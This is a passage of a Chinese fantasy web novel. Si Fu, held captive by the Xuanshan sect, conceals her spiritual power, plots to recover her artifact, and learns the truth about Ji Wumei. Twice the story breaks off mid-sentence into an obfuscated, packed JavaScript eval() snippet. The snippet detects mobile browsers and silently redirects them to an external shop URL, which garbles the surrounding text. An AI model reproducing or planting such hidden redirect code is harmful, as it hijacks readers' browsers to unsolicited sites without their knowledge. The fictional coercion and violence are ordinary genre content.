书房里,陆之轩拍亮一块双拳大小的萤石,光芒霎时铺满整个房间,映出桌案后一名白发苍颜的老者。 “所以,姒芙并非沦为凡人,她只是在隐藏?” “没错。” “你现在的打算,是扣下姒芙,让她为我们玄善门炼制阵中器?” 陆之轩懒洋洋坐在他对面,笑道:“爹,姒芙可不止会炼制阵器,她通晓百家,除了不擅长符箓,其余皆有涉猎。如今她能动用灵力,又没有能力自保,她这个人最是贪生怕死,为了活命只会乖乖受我挟制。” 陆琮眉头紧皱,“你所言极是,可她是姒家人,若是姒家知晓……” “爹,你有没有想过,姒芙为何要隐瞒?” 陆琮一顿,疑惑道:“是啊,她明明尚有余力,为何要假作凡人之躯?” “我还没探出来原因,但是爹你不妨想想,姒家若得知此事,会如何做?” 陆琮心里走了一遭,面色一变。 陆之轩会心一笑,“没错,当年姒家将她当成个废人送了过来,若得知她能力尚存,以姒家的作风,定会将她接回去。” “所以……她……” “姒芙,她不想回姒家。”陆之轩一锤定音。 陆琮惊异道:“可她是姒家长女!家主最器重的子弟,她为何要这样做?” “这我就不知道了,”陆之轩翘着二郎腿,高兴道:“我只知道,如今她反而方便了我等,只要姒家一日不知晓真相,她就要一直被我玄善门所用。” “可姒洄……” 陆之轩打断他,“爹,你不说,我不说,姒芙她更不敢说,又有谁能知道?” 陆琮心里思量了一圈,依然有些担心,“我这次去雪麓城,家主曾单独召见过我。” 陆之轩晃荡的脚一顿,就听陆琮心有余悸道:“家主这次出关变了许多,脾气……愈发阴晴不定,特别是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343583|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听闻族老们忤逆他的意愿,将姒芙送嫁,发了一通火,据说暗中重惩了不少人。” 陆琮顿了顿,似不愿回想那番接见,缓声道:“家主召见我,只问了几句与姒芙相关之事,他虽未明言,可那威压逼人……似乎对我有所不满,我能感觉到,家主有意将姒芙接回去。” 陆之轩不见惧色,倾身凑近,眼中全是贪婪,“爹,那咱们更要抓紧时间了,家主又如何?哪怕是世家之主也不能一意孤行,咱们趁着家主与族老周旋的这段时间,逼姒芙炼制更多法器。” “轩儿,姒芙对家主是不同的,若她回到姒家,转而报复我玄善门……” 陆之轩笑笑,漫不经心道:“据我所知,家主待姒芙确实不同,可他却不允许姒芙丝毫欺骗。姒芙欺瞒姒家,欺瞒家主,只会遭到族中与家主的滔天怒火,她自己都应接不暇,又哪里有空报复我等?” 见陆琮依旧有担心,陆之轩劝道:“大不了事发之前咱们‘将功折罪’,早她一步禀报姒家,将所有责任往她身上一推,姒芙一人孤立无援,届时姒家收到的消息,不都是我们说了算?到时我们再将自己摘出去便是。” 陆琮眉头深皱,似觉此举不妥,依然有所忌惮。陆之轩看着他衰老的容颜,心里感叹他这个爹年纪越大,做事越发畏手畏脚,于是下了一剂狠药,“爹修为停滞多年,不正是因为进阶所耗资源甚巨,又要顾及门中运转及山下那帮平民,以至于一直不够修炼所需吗?” 陆琮担忧的神色终于一滞,陆之轩愉悦一笑:“爹你可知,姒芙所炼制的一枚上等阵中器,价值几何?” 陆琮浑身轻颤,“姒家售卖给各大宗门的阵中器,便是普通子弟炼制都值数百上品灵石。” 陆之轩点了点头:“阵中器极其复杂,以器代替修士镇阵,且比寻常修士所发挥实力更甚,如此精密复杂的阵器由姒芙所创,姒芙蛰伏了这么多年,市面上已很难寻见她亲手炼制的阵器,所以她的一枚阵器,价值可不止一千上品灵石。” 话音悠悠,全是诱惑。 一千上品灵石,是玄善门两年的进项! 陆琮激动得几乎端坐不住。 玄善门门主陆琮,早年因修炼资源匮乏,磕磕绊绊好不容易达到六重修为。 然而自他创立了玄善门,门中事务繁杂,按照中州规矩还得兼顾山下凡人,门内入不敷出,以至于他停滞在六重五阶多年,心里只剩下对突破的执念。 见他动摇,陆之轩进而道:“爹,过了这个村没了这个店,咱们可不能错失机会。” “所以……” “所以……当先之计,咱们可得为姒芙保守秘密,千万莫让姒家知晓。” 陆之轩三言两语抹去陆琮的忧虑,两人相视一笑。 寒风簌簌,屋内畅想着玄善门光明的未来,及陆琮即将进阶的喜悦,一室生春,并未察觉窗外晃过半片人影。 那人影在密谈进行一半时就悄无声息退出院落,与廊道上守候的一个婆子汇合。 “夫人?您不是寻门主一起过来用膳吗?怎一个人独自出来了?” 头顶昏黄的灯光映出一张镇定自若的脸,“门主事忙,咱们别打搅他。” 脚下步伐却急急切切往回走,婆子不察,暗自嘀咕着:“门主回来忙了这么多时日,连跟夫人一餐饭都未用过。唉,少主也是,近几日也少来跟夫人问安,夫人日子可真是清苦。” 往日这番言论总会惹得门主夫人跟着抱怨几句,可今日门主夫人却反常地笑笑没应声。 她直往自己院中赶,骤然吩咐道:“你将收在内库里的金宸玉找给我。” “金宸玉?那不是传递重要消息才用的传令玉牌吗?夫人这是?” 除了私人传信的玉牌,中州但凡有重大事件或者正规要事,都是使用专门的金宸玉传递,收到此玉消息会受特别重视。 门主夫人强自镇定的面容终于皲裂,难掩激动:“没错,我有重要事情要通禀。” 如今,还有什么比绵延陆家子嗣更为重要的事? 门主夫人在不小心听见姒芙尚能使用灵力时就兴奋地退了出来,满心都是姒家得知后定会将她接回去。 姒芙那个不生蛋的鸟儿竟然不是个废的! 若姒家将她接走,她不就能换个更听话懂事的儿媳? 姒芙不肯生,有的是女子为轩儿生儿育女,换个能被她拿捏的,陆家的香火不就有了传承? 16.暗浪涛涛轻舟摇 姒芙小憩醒来,大量使用灵力导致的经脉阵痛已停息。 望了眼空无一人的房间,凝神听了片刻,确定四下无人,缓缓坐起身。 在床榻上摸索片刻,摸到一片床板,顺着木板纹路一抠,只见光滑平整的板面中间被翘起一条小缝,一块拇指大小的小木片被撬了下来。 里头躺着几粒小蜡丸,这是她谨防意外时藏匿的药,治伤的,用毒的,以及…… 姒芙挑出一枚黑色蜡丸,将床榻恢复如初。 拍开蜡丸,里头是一枚漆黑的小指大小的丹药,上头泛着诡异的幽蓝暗光,刺鼻的辛辣气味顷刻传来。 姒芙面无表情丢入嘴中。 药丸落入腹中的那一刻,姒芙猛地喷出一口鲜血,猩红的血液洒满被褥,轰然瘫倒在吸饱了血水的被褥之中。 全身泛起奇异的痒,伴随着蚀骨的疼痛,如针芒散射过四肢百骸。 她紧咬着牙,一声不吭,瞳孔内满是可怖的血丝。 许是太过疼痛,她猛捶一下床榻,木床喑哑地晃荡了一下,归于沉寂。 昏暗的房间内,只剩断断续续的喘息声。 长夜寂寂,院子里回响着夜枭的啼叫,一声一声,使夜色多了分诡异的宁静。 不知过了多久,她闷咳一声,吞下喉间残血,颤巍巍爬了起来。 体内痛意未消,可已挨过最猛烈的时候,她忍着余痛,将沾了血的被褥衣裙清理换下。 方一下地,刺痛再次从脚底传来,她咬着牙,从床头暗格里取出一枚符箓,丢入地上那一堆换下的染血被褥。 符纸碰上布帛的那一刻,燃起一团青烟,须臾那一堆“罪证”缓缓消散在青烟之中,连灰都不剩。 姒芙冷冷抹去嘴角残血,淡然一笑。 清晨,天还未大亮,紧闭的房门被人推开。 如入无人之境进入她闺房的,除了陆之轩别无他人。 姒芙缓缓睁眼,就见他负手立在榻前。 他一夜未归,不知去了何处,身上载着晨露。 露水在他身上如烟雾般蒸腾消散,衬得他眉目朦胧晦暗。 他唇角一勾,恢复了往日的没脸没皮。 “芙儿,该起了。” 姒芙费力撑起半身,虚弱无力靠在床头,“妾身还未大好,夫君真是急切。” 她行动迟缓,陆之轩毫不怜香惜玉将她一把扯起,惹得她一阵猛咳。 她如此羸弱,陆之轩不为所动,再次开口语中少了耐心,“你还想装到什么时候?以为装病就能逃过炼制阵器?” 姒芙笑了笑,“妾身落在夫君手中,怎敢欺瞒?” 陆之轩阴冷道:“你向来狡诈,以为我会信你?” 他一手扣住她的脉门,尖锐的灵力强行闯入她的身体,姒芙痛呼一声,浑身抽搐。 热辣如浪的灵力自手腕漫过全身,从头顶流至脚趾,一丝一毫未错过。 与寂无寐不同,陆之轩的灵力霸道激烈,宛如汹涌无忌的浪涛,她成了浪涛里不断被翻撞的一叶小舟,被卷起又被击碎。 浪潮骤然停歇,姒芙猛吸一口气,看着陆之轩凝重的神色,笑得愈发灿烂,“在地牢……你逼我强行动用过……大量灵力,如今……我的经脉已虚弱不堪。” 她笑叹一声,“这可如何是好啊……今日妾身难以为夫君效劳呢……” 陆之轩不急不缓从腰间掏出一粒丹药,笑道:“无妨,不过是经脉疲累,算不得大病。” 丹药被强行塞入口中,陆之轩轻笑着,“价值千金的紫薇丹,便宜芙儿了。” 药丸入水即化,陆之轩看着姒芙乖顺服下,见她面色红润两分,好整以暇触上拴着她的镣铐。 忽而,一股热血喷了他满头满脸。 他悚然一惊。 “你!?” 姒芙嘴角血流不止,忍着全身剧痛,依旧在笑,“哎呀,好似没用呢……” 她气息奄奄,颓然倒回床榻,气若游丝之际,仍不忘嘲讽道:“夫君……妾身废了几十年的经脉,真以为几粒疗伤圣药就会有用吗?” 陆之轩双眼怒睁,再摸向她脉门时,床上之人已经不省人事。 接连几次的疼痛折磨,姒芙原本康健的身体,早已脆弱不堪。 她这身子本就虚弱无用,又无修为自救,在病危的边缘浮浮沉沉,只觉眼前光怪陆离,时明时暗。 凌乱的碎片在昏沉中接踵而至,最终凝在一片青翠的山林之间。 艳阳高照,她坐在几块木板拼成的小木凳上,手拿一柄菜刀,瞪着眼前一群嘎嘎乱叫的小畜生。 一只大鹅立在她面前,昂着脖子与她对峙。 她养了一群给自己食用的鸡鸭鹅,可这些扁毛小牲畜不知是不是受山间灵气熏染,不过三两个月时间,好不容易长得肥美,却厉害得不似普通家禽。 她等了这么久,至今连一口肉汤都未能喝上,特别是这只耀武扬威的大鹅,简直战力爆表。 她已经被它啄了不下十几回,次次都是她铩羽而归。 她费心费力为某个人治了大半年的伤,早已疲惫不堪,若再无肉汤进补,只怕她要比屋里那个人先衰弱而亡。 一想到如今连个鹅都打不过,她更加气怒,举起菜刀狠狠砍向大鹅的脖子。 那鹅动作比她还迅捷,扑腾飞起,一脚踹向她脑门,将她踹了个仰倒。 她摔入泥地里,怒火直往头顶窜,怒骂一声,滚了一身的泥泞再次举起手中刀。 忽而,手腕一暖,鼻尖缭绕过一股清甜的药香。 “刀,不是这样用的。” 耳边温柔一声,她一怔,看向身后人,惊异道:“你能下地了?” 灿烂如春的阳光下,寂无寐苍白的脸上轻轻勾起一丝淡笑。 她从未见过这么漂亮的笑容,酿了多年的希望皆在这清浅的笑容里发酵。 他一手攀着她的肩,另一手轻柔牵引着她的手腕,粗劣的菜刀好似化成一柄剑,轻巧锋利。 “武器,可杀敌,也可诱敌。” 许是刚能下地,他依旧有些虚弱,大半个身子靠在她身上,她却不觉得沉重。 他引着她前迈半步,大鹅见状更加跃跃欲试,再次激烈地扑腾起双翅。 “手中的刀,并非你唯一依仗。” 他双目微垂,浅淡的目光里只有她的身影。 耳畔疾风扫过,她只觉被握住的手,好似变成了轻柔飘拂的柔风,与万物相融。 刺鼻的血腥味扑鼻而来,可她眼里只剩春风几许的笑容,以及他淡白如雪开合的双唇。 “你自身才是真正的武器,诱敌和杀人的兵器。” 温煦的春光霎时变得耀眼灼目,斑斓的光芒如梦般缥缈消散。 姒芙悠悠转醒,眼前重归昏暗。 略一转眸,旁边坐的不再是陆之轩,取而代之的成了一名白发老者。 姒芙不见惊讶,无奈一笑,“芙儿 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姒芙深知这帮人的心性,也不戳破,幽幽叹息一声,泫然欲泣:“芙儿活了两百多年,深知审时度势才能活命,你们窥见芙儿秘密,芙儿想了一夜,既然已经嫁入玄善门,总归已是一家人,知道又何妨?” 陆琮是未想到她如此明事理,不由一怔。 姒芙眼角落下一滴黯然的泪水,“莫说芙儿被陆之轩……若是芙儿逃跑,外头都是奸诈贪婪之辈,我一个无力自保的小女子,又如何独善其身?还不如留在玄善门,总归公爹和……夫君,不会不顾及芙儿的安危。” “你能如此想,已是不易。” 姒芙心里头明白,一两句佯装懂事的话语无法完全撼动陆琮这个老修士。 她略擦了擦眼角的泪水,乖觉道:“芙儿这一生大起大落,许多事早已看淡,不过求个安稳日子,芙儿深知玄善门的困难,也并非不愿相帮,只是如今这身子……实在是难以为继。” “不碍事的,丹药无用,我日日前来亲自为你疗伤,不出两日你便能痊愈。” 他看似关心,实则还是为了让她早日给他们效劳。 姒芙暗嗤一声,表面懂事道:“芙儿怎敢劳烦公爹如此操劳,其实……无需公爹费心,还有一法能让芙儿快速恢复。” 陆琮眉头一挑。 姒芙轻声道:“娘亲曾为芙儿留下法宝塑月,本就是疗伤圣器,对芙儿这身子正好对症。” “那你为何不用?” 姒芙欲言又止,咬了咬牙,遂苦恼道:“非是芙儿不用,而是夫君偷去……送给了山下别院里的一名小郎君。” 陆琮瞬间了然,顿时愤而起身,“胡闹!他怎如此荒唐!” 姒芙低低哭了起来,“公爹也知,夫君心中向来没有芙儿这个正妻,他拿芙儿的法宝借花献佛,芙儿修为不及他,又岂敢多加责怪?公爹……” “你莫要动气。”肩头一暖,陆琮安抚地拍了拍她,不愧是活了多年的老东西,方才愤慨的神色一瞬收敛,他慈祥道:“此事莫要忧心,本座亲自为你取回塑月,更不会叫乌七八糟的人,影响你们夫妻关系。” 姒芙赶紧道谢,泪眼婆娑的眼底,闪过一丝狡黠。 她的目的,一直都是塑月。 将陆琮引过去,为了她能早日为玄善门炼器,六重修为的他定会拿回塑月。 而寂无寐,无论是依约带她逃离,还是顺势被陆琮赶走,都与她无关。 有了塑月,她还怕这群牛鬼蛇神不成? 这世上,只有改造过塑月的她,才知晓塑月的真正妙用。 17.暗浪涛涛轻舟摇 孤月高悬,姒芙望着眼前的清粥小菜,微微皱眉。 手里的半碗白粥没滋没味,无论如何都送不进口。 “少主夫人,多少用些吧,否则亏了身子……” 姒芙目光平静扫去,隐含威压,说话之人顿时垂下头,恭顺伏地。 他身着内门弟子的玄黄服饰,微卷的发尾落在青砖上,正是被陆之轩罚作外门杂役弟子里的卷毛。 姒芙冷声开口,“说过多少遍,私下不准唤我少主夫人!” 口中忿忿,语气里却全然没有对待其他弟子的疏离冷淡。 “属下知错,请主子息怒。”再次开口,他已不见往日的卑微怯懦,正了脸色谦恭禀报:“属下已探查过,门主午时过后前往山下别院,至今未归,陆少主离开宗门不知所踪,二人俱不在门内,主子可要行动?” “我就这般离开,定会引来玄善门和姒家的大肆追捕,时机未到。” “那……在下该如何帮主子?” 姒芙冷冷盯着匍匐在地身影,指尖摩挲着碗沿,忽而问:“吴邪,你跟着我来玄善门已有两年了吧。” 吴邪直起身,“在主子嫁进玄善门前属下已提前藏进来,算下来已呆了两年过半。”眉眼微垂,愧疚道:“是属下无用,没能帮助主子脱离苦海。” “不怪你。”姒芙放下手中碗,转而夹向近旁一碟白玉豆腐,谁知手指颤抖,豆腐碎在筷间,吴邪见状忙端起那碟豆腐,凑到她近前。 姒芙看着那碟豆腐没了胃口,淡淡道:“我借着联姻离开姒家,两年都未找到脱身的机会,就如这豆腐一般,脆弱不堪,是自己无用。” 吴邪闻言忙道:“主子!是属下无能,主子岂可妄自菲薄?” 姒芙一摆手,阻止了他接下来的话语,“如今我已暴露,你留在玄善门无非多添一个把柄,待有机会,你先自行回锦城蔺家。” “主子!” 听见姒芙要赶他走,吴邪猛磕一头,“主子!属下怎能抛弃主子独自离开!如今正是关键之际,主子莫要将我赶走。” “你本是蔺家年轻有为的外姓弟子,受蔺家所托在玄善门蛰伏两年,受尽折辱,是我拖累了你,如今我自顾不暇,不能再耽误你。” 吴邪咬牙恳求:“当年主子救下吴邪,吴邪这条命本就是主子的,又谈何耽误?是吴邪无能,只能为主子收集些无关紧要的情报,没能带主子全身而退!”见姒芙神色黯然,吴邪求道:“主子,再给吴邪一次机会,这一次,吴邪定会带主子离开。” “如今,我的命令你也不听了吗?” 吴邪惊骇抬首,姒芙目光冷厉的盯着他,不给他争取的机会,他似想再劝,却听姒芙道:“我让你走,你便必须走,若你眼里还有我这个主子,就听命行事!” 姒芙搁下碗筷,冷漠道:“我本就无意让蔺家牵扯进来,陆之轩如今盯我盯得紧,你若还敬我一分,在你身份还未暴露之前,赶紧给我滚回锦城!” “主子……”吴邪眼里已有哀求之意,姒芙不为所动。 吴邪双唇紧咬,在她坚硬的逼迫下,最终只能忍下不甘:“属下……领命。” 他颤巍巍起身,从怀中取出一枚黄符,恭敬摆在姒芙眼前桌案上,“属下身无长物,如今只能献上此符,可解主子身上的束灵咒。” 姒芙看了眼,是产自符箓世家萧家的中品黄符。收下这张可解燃眉之急的符咒,吴邪再次躬身行礼,沉沉道:“属下盼主子安然而归。” 安然而归吗? 即便安然离开她也不会去蔺家,天下势力盘根错节,她谁也无法依仗。 就如吴邪,如寂无寐,无论出于什么目的要帮她离开玄善门,她也无法依靠他们。 姒芙抬眼望向窗外高悬的明月,整整一日了,陆琮不过是从一个小剑修身上取回塑月,未免耽误得太久了些。 姒芙半垂下眼,心中莫名生起一股不安。 又过了整整一日,姒芙独守在房中,盯着手中一整日都未翻两页的闲书,心中的不安随着时间流逝越来越强烈。 残阳似血,书页被染成一片诡异妖娆的黄粉之色,许是盯得太久,上头的文字在夕阳照射下,成了张牙舞爪的扭曲精怪。 一个眨眼,姒芙混沌的神智重归清明。 方站起身,脚下传来叮叮当当的声响,她冷眼看向脚下镣铐。 院门突然被人撞开,一阵疾风扫过,喉间一紧,猛然被人奋力压上墙面。 快得她来不及反应。 耳边响起一声阴骘的质问:“姒芙,你竟然将寂无寐暴露给爹!” 姒芙被掐得快要窒息,见他怒火中烧,便知事情成了一半。 寂无寐多半被陆琮赶走了,陆之轩才会这般愤怒。 她心中畅快,也不跟他虚与委蛇,娇笑着道:“陆之轩,你贪得无厌,想两头尽占,我总不能让你事事如愿。” 引陆琮前去,是她的一箭双雕之计。 她要塑月,更要毁了陆之轩的算计,陆之轩以为寂无寐对她很重要,殊不知她也早已看出,在陆之轩胁迫她救下寂无寐时,便猜到寂无寐对陆之轩绝对不是普通救命之恩那般简单。 陆之轩这人狼心狗肺,区区救命之恩算什么? 他想占尽好处?想得美! 陆之轩靠近她,眼底是滔天的怒火,“我小心翼翼将他藏在父亲眼皮子底下,如今却被你毁于一旦!” 姒芙笑得愉悦,嘲讽道:“你怎么这么天真,他身在飞东城能瞒过门主多久?你莫不是色令智昏了?” “你懂什么!” 他爆发出一声不甘的怒吼,手下逐渐用力,“我好不容易再见他,得上天眷顾能与他结识,好不容易才能与他如好友般攀谈,多一天是一天,如今全被你毁了!” 他言语间的遗憾简直叫人动容,他对寂无寐果然并非临时起意,看来二人之前便有交集。 姒芙讥诮道:“陆之轩你这么情深似海,寂无寐可知道你这见不得人的心思?” “那又如何!”他眼底疯狂旋转的漩涡转柔,似回忆起什么,低声道:“一百年前,他浮在云端立于众人之巅,向下望了眼有如尘埃的我,当时我便想,我与他有着天壤之别,这一生哪怕只有一次,有一次我能匍匐在他脚下,问安一声已足矣。” 姒芙正要讽刺他感天动地的一厢情愿,忽而一怔,他口中那个高高在上之人,是小剑修寂无寐? 她神色一瞬间有些懵然,又听陆之轩讥诮道,“我恨呐,恨你们这些立在高阙之人,从未将我们这等蝼蚁放在眼里。” “我等了这么多年,盼了这么多年,好不容易等你们跌入泥泞,尽可被我掌控。可你呢?你偏是不安分,毁了我的一切!” “你棋差一招,是你自己蠢!”姒芙气息几近断绝却不愿屈服半分。 陆之轩愤恨道:“我真是好奇,你与他到底是什么关系,竟让你一次又一次出手相帮。” 帮什么?她不过是为了塑月,顺手为之,顺便毁掉陆之轩的算计。 脖间掐着她的手蓦地一松,姒芙颓然跪倒在地,捂着喉咙不住地咳。 眼前之人蹲下,与她平行而视,阴晴不定的双眼深深凝视着她,姒芙知道他没胆子杀她,最多不过言语相激。 然而下一句话陡然令她肝胆俱裂。 “他明明与姒家有着血海深仇,你不计前嫌多番相助,姒芙,情深似海的,难道不是你吗?” 姒芙霎时脑中一片空白? 血海深仇?寂无寐与姒家? “啊?难道你不知道?”见她懵然不解,陆之轩眼里荡起报复的快感,“也是,当年之事知晓人不多。五年前诛邪之战,他身陨在乱妖之中,正是各大势力设计的结果,其中以姒家和我玄善门出力最多。” 姒芙混乱的神智陡然清明,近日盘旋在脑中的困惑迎刃而解,原来……是因为他们狼狈为奸陷害了寂无寐,姒家才会毫无怨言的帮扶玄善门,甚至将她送来玄善门联姻! 寂无寐到底是什么人?若非姒家得了天大的好处,不会下血本维系两者之间的结盟。 陆之轩犹自嫉恨着:“姒芙,有时候我真羡慕你啊,有姒洄那样的人庇佑,整日只需关在门里炼制自己钟爱的阵器,万事不需操心,你这种绝情寡心之人还能得他人青睐,便是跟你有仇的寂无寐都对你青眼有加,你怎么配的?” “你在……说什么……” 陆之轩仿佛被妒火烧得疯魔,眼中只剩仇恨烈焰,喃喃低语:“我该赞你心思深沉,还是笑你自作聪明?兜兜转转,你为了救你的小情人,却再次将他推入仇敌之手。” 陆之轩一掌覆上她头顶,眼神幽幽:“你机关算尽,把寂无寐送到我那个愚忠的爹手上,真以为他能脱身?”姒芙浑身一震,眼前疯魔之人笑声颤颤,不知是在嘲讽她,还是在怨怪自己。 姒芙感受到他掌心在凝聚灵力,耳边传来从地狱渗出的阴冷笑音:“姒芙,寂无寐死了,死在你的精心设计之下,你怎能继续心安理得地活着?不如我亲手葬送你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360715|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送你去地底与他相见!” …… 一间阴暗潮湿的空荡暗室内,地面闪烁着一张巨大阵法,四角燃放着镇住阵法的烛火。 不似普通采光的蜡烛,双拳大小的白烛上刻着复杂纹路,上头幽绿的火光照映在阵中一个雪白身影,将他衬得似幽冥里的鬼魅。 他被阵法捆缚,动弹不得,如一条任人宰割的鱼肉,脸上却不见丝毫惊慌。 一名老者缓缓走到他身侧,浑浊的双眼静静打量着他。 那人长睫一颤,缓缓睁眼,竟是陆之轩口中死去的寂无寐。 陆琮见他醒来,慈眉善目的五官覆满阴寒,“世人都说你身陨,葬身妖腹,然而你不仅没死还藏在我玄善门下,若非是姒芙,本座险些错过你!” 提及姒芙,寂无寐眼中暗了一瞬,随即赞了一声:“芙儿聪慧,深得我心,将我送到你手中。” 陆琮盯着他泰然自若的神色,讽刺道:“你如今修为只剩一二,路边一条狗都能打得你起不来身,如此狂妄,还当自己是那个一剑名动中州的天骄?” 寂无寐淡然一笑,“陆门主知道我是个废人,还用锁七重修为的无妄阵压着我,是不是有些大材小用了?” 陆琮冷哼一声,“抓到你是意外之举,我总得防着你一些。” “那陆门主,您对我这样一个废物,有何指教?” 陆琮骤然掐住他的下颚,冷声道:“当年你明明应该死在诛邪之战中,为何却活了过来?” “陆门主既然与姒家合谋,又怎不知我没有死透?”他声音放轻,平淡的语气带着嘲弄:“陆门主不知详情,看来姒家似乎并不信任门主呐。” 一句话戳到陆琮的痛处,他怒道:“不错,我玄善门只是个小宗门,只配暗中为姒家做些杂活,可那又如何?若非有我玄善门帮忙,他们又如何能顺利得手?” 寂无寐只是笑,然而就是这轻描淡写的笑意,在陆琮眼里成了最尖锐的嘲讽。陆琮愤懑不甘,邪声道:“无妨,有你有姒芙,待我玄善门壮大,何必再卑躬屈膝像狗一样为他们奔走。” 陆琮手中用力,几乎将他的脸捏得变形,“说,他们费尽心思算计你,姒洄能突破九重修为,是不是与你有关!” 寂无寐笑笑,“所以,你骗你的儿子,骗姒家,骗所有人,说我被你处死,将我私自藏在这不见天日的地牢里,原来是想套他们突破的秘密?” “姒洄修为停滞多年,可诛邪之战后五年便突破,本座不信跟你没有关系!” 寂无寐懒散一笑,“陆门主苦突破久矣,莫不是魔怔了?我只是一个斩妖除魔的剑修,又能为他们带来什么突破机缘?” “还在嘴硬!”陆琮指尖一划,寂无寐手腕顿时血流如注,鲜红的血液顺着阵线流淌,萦绕过一股醉人的异香。 陆琮激动道:“本座无意中听闻,你早年跌入大能秘境,得了逆天机缘,骨血有常人不及的奇效,是不是你的血肉里有玄机?” 寂无寐依旧唇角含笑,声音却多一分不易察觉的蛊惑:“是与不是,我已落入陆门主手中,你不如亲自验看?” 鲜血连绵不绝肆意流淌,迷人的香气顷刻充盈整个石室,芬芳香味之下,陆琮眼神逐渐变得迷离,好似闻见血肉饿急了的兽,鬼使神差捧起手腕,吸了一口。 甘甜的鲜血顺喉而过,他眼底的贪婪逐渐变盛,仿佛这血能勾起人心底最深的欲望。 清甜的血液一沾便叫人欲罢不能,他骤然像失心疯了一样,抱起寂无寐的手腕大口吞咽。 大量的血液自寂无寐体内流失,刮着血肉惹起越来越绵密的刺痛。 寂无寐幽幽一叹,似是无奈般低劝了一句:“慢些,否则死得更快。” 不知说的是他自己,还是陆琮。 可陆琮已然魔怔,听不进只言片语,眼里只有对这甘霖无尽的渴望。 寂无寐抬眼望向室顶,眼前逐渐变得模糊,生机顺着手腕不断流逝。 寂无寐忽而抬手轻轻拍了拍衣襟,淡然道:“你再不出来,我就真死了。” 话音方落,胸口突然炸起一道炫目亮光。 白炽光芒中漂浮起一块月牙形的玉石。 那玉石在半空中颤了颤,似感受到什么,周身突然氤氲起一圈如烟红雾。 陆琮清醒了一瞬,还不待他反应,那玉石如急光猛地没入寂无寐体内。 再一回神,陆琮忽觉胸口一痛。 垂眼,只见一只白皙如山巅堆雪的手,穿透进他的胸腔。 18.暗浪涛涛轻舟摇 子时已过,玄善门一处弟子房里灯火通明。 接连两天的善后事宜,门中弟子得了不少好处,凌乱的桌案上摆满了美酒美食,桌角四周散落着几堆黄白金银。 一名白袍弟子将手里头的木骰子一丢,笑骂:“你们这是去山下庙里拜过财神了吗?整整一晚上就输我一个人。” 身侧围坐的六七名同门哈哈大笑,许是喝多了酒,埋汰人也没个忌讳:“城下肖家想将女儿嫁给你,给你偷摸塞了不少银钱,你散些给我们当喜钱又怎样?” 白袍弟子摆摆手,嫌弃道:“肖家小门小户,那女儿长得远不如牡丹楼里的小翠儿,简直是异想天开。” 似不愿多谈,白袍弟子站起身,伸了个懒腰,“坐了一宿,出去放水换个手气,你们今晚一个都不准走。” 弟子们笑笑闹闹应声,白袍弟子出门转了个道,酒气熏昏了脑,连十几米远的恭房都懒得走,就近寻了一棵老树。 他哼着歌,迷着眼,近旁弟子房里一人推开窗,怒斥:“做什么!不知这里睡了人?跑这里撒野?” 白袍弟子一见是他,讽笑道:“哟,这不是咱们正义凛然的吴邪吗?大晚上不睡觉,是在屋里偷摸编排同门?” 吴邪熟悉他的混蛋劲,冷笑一声:“你们这城墙厚的脸皮还需我编排?滚远些,莫吵着我!” 白袍弟子却不怕他,酒虫上脑挑衅行来,“我若不走又怎样?你揍我一顿?还是去师父那告状?你不是最擅长告状了吗?” 悠悠哉哉晃荡着身子,嚣张的冲吴邪勾起了手。 吴邪双拳一握,正要教训一下这个无赖酒鬼,忽而双目一睁。 眼前嚣张之人身形一顿,素白的长袍突然自肩头而下染成诡异的深色,他身后缓缓显现出一个如雾一般的黑影,一双惨绿的双瞳在黑影中邪邪盯着他。 轰然一声巨响,伴着冲天而起的长鸣划破长夜,整个玄善门霎时地动山摇。 夜空中金光大作,灼灼满天。 守山大阵,破了…… 姒芙很疼。 她经历过万千疼痛,早已习惯。 可陆之轩偏要折磨她,手上的灵力一点一点往颅内积攒,他慢慢欣赏,等待着她脑花胀破的一瞬间美景。 咸涩的汗水滑落到眼角,姒芙指尖触到一枚黄符,撑着唯一一丝清明,嘶声开口,“陆之轩,你要为了一个寂无寐,得罪姒家?” 陆之轩手下一顿,涌进的灵力转缓,却并未停歇,“你提醒了我,那便叫你更痛苦些。” 一股酸胀痛意霎时游遍全身,姒芙没忍住低哼一声,捏住黄符正要发作。 倏地,天空中响起一声尖利的警铃长啸,两人俱是一怔。 陆之轩手下一顿,望向窗外,忽见夜空中金阵碎裂,伴随着数道妖兽吠叫,一听就是群妖动乱。 他猛地站起身,“怎么回事!哪来的妖?护山阵怎么会碎?” 姒芙同样望向空中金芒,惊诧过后转而笑问:“陆少主,你要先除妖呢?还是先弑妻?” 陆之轩猛然瞪向他,杀意在眼中几经沉浮,猛地拽起她,阴恻恻道:“你做的手脚?” 姒芙蔑笑:“陆少主怕是昏了头了,你没听见妖吼?我哪来的能耐,能像你们玄善门一样诱妖生乱啊?” “好,很好,姒芙,你很有胆色,此时还不忘激怒我。”陆之轩恨不得就地解决她,手上残留的灵力噼啪作响。 姒芙好整以暇地与他对视,大阵在此时碎裂,而她是门中唯一有能力的阵修。如今掌握对方生杀大权的人,成了她。 陆之轩似恨极了她这个模样,长剑出鞘高高举起,姒芙无所畏惧的笑望着他。 铮然一声,姒芙脚下一轻,链条被人劈断。 她唇角的笑容愈发灿烂。 陆之轩一手掐住她下颌,厉声道:“你也别得意,我总有办法收拾你!” 